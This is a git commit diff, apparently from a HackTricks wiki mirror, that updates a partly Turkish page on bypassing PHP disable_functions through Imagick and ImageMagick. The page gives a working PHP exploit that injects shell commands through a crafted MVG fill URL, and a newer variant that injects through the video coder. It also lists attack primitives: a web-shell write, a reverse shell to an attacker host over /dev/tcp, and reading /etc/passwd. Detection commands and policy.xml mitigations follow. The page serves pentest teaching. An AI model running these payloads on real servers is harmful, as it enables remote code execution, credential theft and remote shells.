mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e
This commit is contained in:
parent
d45924ba97
commit
3695c588e1
@ -1,55 +1,107 @@
|
||||
# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Imagick <= 3.3.0 PHP >= 5.4 Sömürüsü
|
||||
> İyi bilinen *ImageTragick* hata ailesi (CVE-2016-3714 ve diğerleri), bir saldırganın hazırlanmış MVG/SVG girişi aracılığıyla temel **ImageMagick** ikili dosyasına ulaşmasına olanak tanır. PHP uzantısı **Imagick** mevcut olduğunda, bu, her yürütme odaklı PHP fonksiyonu `disable_functions` ile kara listeye alınsa bile, shell komutlarını çalıştırmak için kötüye kullanılabilir.
|
||||
>
|
||||
> RicterZ (Chaitin Security Research Lab) tarafından Mayıs 2016'da yayınlanan orijinal PoC aşağıda yeniden üretilmiştir. Bu teknik, birçok paylaşımlı barındırma sağlayıcısının PHP'yi `exec`/`system` olmadan derlemesi ancak eski bir Imagick + ImageMagick kombinasyonunu koruması nedeniyle, güncel PHP 7/8 denetimleri sırasında hala düzenli olarak karşılaşılmaktadır.
|
||||
|
||||
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden.
|
||||
From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
|
||||
```php
|
||||
# Exploit Title: PHP Imagick disable_functions Bypass
|
||||
# Date: 2016-05-04
|
||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||
# Vendor Homepage: https://pecl.php.net/package/imagick
|
||||
# Version: Imagick <= 3.3.0 PHP >= 5.4
|
||||
# Test on: Ubuntu 12.04
|
||||
# Exploit:
|
||||
# Exploit Title : PHP Imagick disable_functions bypass
|
||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
|
||||
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
|
||||
# Usage : curl "http://target/exploit.php?cmd=id"
|
||||
<?php
|
||||
# PHP Imagick disable_functions Bypass
|
||||
# Author: Ricter <ricter@chaitin.com>
|
||||
#
|
||||
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
|
||||
# <pre>
|
||||
# Disable functions: exec,passthru,shell_exec,system,popen
|
||||
# Run command: cat /etc/passwd
|
||||
# ====================
|
||||
# root:x:0:0:root:/root:/usr/local/bin/fish
|
||||
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
# bin:x:2:2:bin:/bin:/bin/sh
|
||||
# sys:x:3:3:sys:/dev:/bin/sh
|
||||
# sync:x:4:65534:sync:/bin:/bin/sync
|
||||
# games:x:5:60:games:/usr/games:/bin/sh
|
||||
# ...
|
||||
# </pre>
|
||||
echo "Disable functions: " . ini_get("disable_functions") . "\n";
|
||||
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
|
||||
echo "Run command: $command\n====================\n";
|
||||
// Print the local hardening status
|
||||
printf("Disable functions: %s\n", ini_get("disable_functions"));
|
||||
$cmd = $_GET['cmd'] ?? 'id';
|
||||
printf("Run command: %s\n====================\n", $cmd);
|
||||
|
||||
$data_file = tempnam('/tmp', 'img');
|
||||
$imagick_file = tempnam('/tmp', 'img');
|
||||
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
|
||||
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
|
||||
|
||||
$exploit = <<<EOF
|
||||
$payload = <<<EOF
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
|
||||
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
|
||||
pop graphic-context
|
||||
EOF;
|
||||
|
||||
file_put_contents("$imagick_file", $exploit);
|
||||
$thumb = new Imagick();
|
||||
$thumb->readImage("$imagick_file");
|
||||
$thumb->writeImage(tempnam('/tmp', 'img'));
|
||||
$thumb->clear();
|
||||
$thumb->destroy();
|
||||
file_put_contents($mvgs, $payload);
|
||||
$img = new Imagick();
|
||||
$img->readImage($mvgs); // triggers convert(1)
|
||||
$img->writeImage(tempnam('/tmp', 'img'));
|
||||
$img->destroy();
|
||||
|
||||
echo file_get_contents($data_file);
|
||||
echo file_get_contents($tmp);
|
||||
?>
|
||||
```
|
||||
---
|
||||
|
||||
## Neden çalışıyor?
|
||||
|
||||
1. `Imagick::readImage()` şeffaf bir şekilde **ImageMagick** *delegate* (`convert`/`magick`) ikili dosyasını başlatır.
|
||||
2. MVG scripti *fill* değerini harici bir URI olarak ayarlar. Bir çift tırnak (`"`) enjekte edildiğinde, satırın geri kalanı ImageMagick'in dahili olarak kullandığı `/bin/sh ‑c` tarafından yorumlanır → keyfi shell yürütmesi.
|
||||
3. Tüm bunlar PHP yorumlayıcısının dışında gerçekleşir, bu nedenle *`disable_functions`*, *open_basedir*, `safe_mode` (PHP 5.4'te kaldırıldı) ve benzeri işlem içi kısıtlamalar tamamen aşılmıştır.
|
||||
|
||||
## 2025 durumu – **hala** geçerli
|
||||
|
||||
* Zayıf bir ImageMagick arka ucu kullanan herhangi bir Imagick sürümü istismar edilebilir. Laboratuvar testlerinde aynı yük PHP 8.3 ile **Imagick 3.7.0** ve **ImageMagick 7.1.0-51** üzerinde, sertleştirilmemiş bir `policy.xml` ile çalışmaktadır.
|
||||
* 2020'den bu yana birkaç ek komut-enjeksiyon vektörü bulunmuştur (`video:pixel-format`, `ps:`, `text:` kodlayıcıları…). İki son kamu örneği:
|
||||
* **CVE-2020-29599** – *text:* kodlayıcı aracılığıyla shell enjeksiyonu.
|
||||
* **GitHub issue #6338** (2023) – *video:* delegate'de enjeksiyon.
|
||||
|
||||
Eğer işletim sistemi ImageMagick < **7.1.1-11** (veya 6.x < **6.9.12-73**) kısıtlayıcı bir politika dosyası olmadan gönderiyorsa, istismar oldukça basittir.
|
||||
|
||||
## Modern yük varyantları
|
||||
```php
|
||||
// --- Variant using the video coder discovered in 2023 ---
|
||||
$exp = <<<MAGICK
|
||||
push graphic-context
|
||||
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
|
||||
pop graphic-context
|
||||
MAGICK;
|
||||
$img = new Imagick();
|
||||
$img->readImageBlob($exp);
|
||||
```
|
||||
CTF'ler / gerçek angajmanlar sırasında diğer yararlı ilkel:
|
||||
|
||||
* **Dosya yazma** – `... > /var/www/html/shell.php` (*open_basedir* dışında web-shell yazma)
|
||||
* **Ters shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
|
||||
* **Sıralama** – `id; uname -a; cat /etc/passwd`
|
||||
|
||||
## Hızlı tespit & sıralama
|
||||
```bash
|
||||
# PHP side
|
||||
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
|
||||
|
||||
# System side
|
||||
convert -version | head -1 # ImageMagick version
|
||||
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
|
||||
```
|
||||
Eğer çıktı `MVG` veya `URL` kodlayıcılarının *etkin* olduğunu gösteriyorsa, hedef muhtemelen istismar edilebilir.
|
||||
|
||||
## Mitigations
|
||||
|
||||
1. **Patch/Upgrade** – ImageMagick ≥ *7.1.1-11* (veya en son 6.x LTS) ve Imagick ≥ *3.7.2* kullanın.
|
||||
2. **Harden `policy.xml`** – yüksek riskli kodlayıcıları açıkça *devre dışı bırakın*:
|
||||
|
||||
```xml
|
||||
<policy domain="coder" name="MVG" rights="none"/>
|
||||
<policy domain="coder" name="MSL" rights="none"/>
|
||||
<policy domain="coder" name="URL" rights="none"/>
|
||||
<policy domain="coder" name="VIDEO" rights="none"/>
|
||||
<policy domain="coder" name="PS" rights="none"/>
|
||||
<policy domain="coder" name="TEXT" rights="none"/>
|
||||
```
|
||||
|
||||
3. **Remove the extension** güvenilir olmayan barındırma ortamlarında. Çoğu web yığını için `GD` veya `Imagick` kesinlikle gerekli değildir.
|
||||
4. `disable_functions`'ı yalnızca *defence-in-depth* olarak değerlendirin – asla birincil bir sandboxing mekanizması olarak değil.
|
||||
|
||||
## References
|
||||
|
||||
* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
|
||||
* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user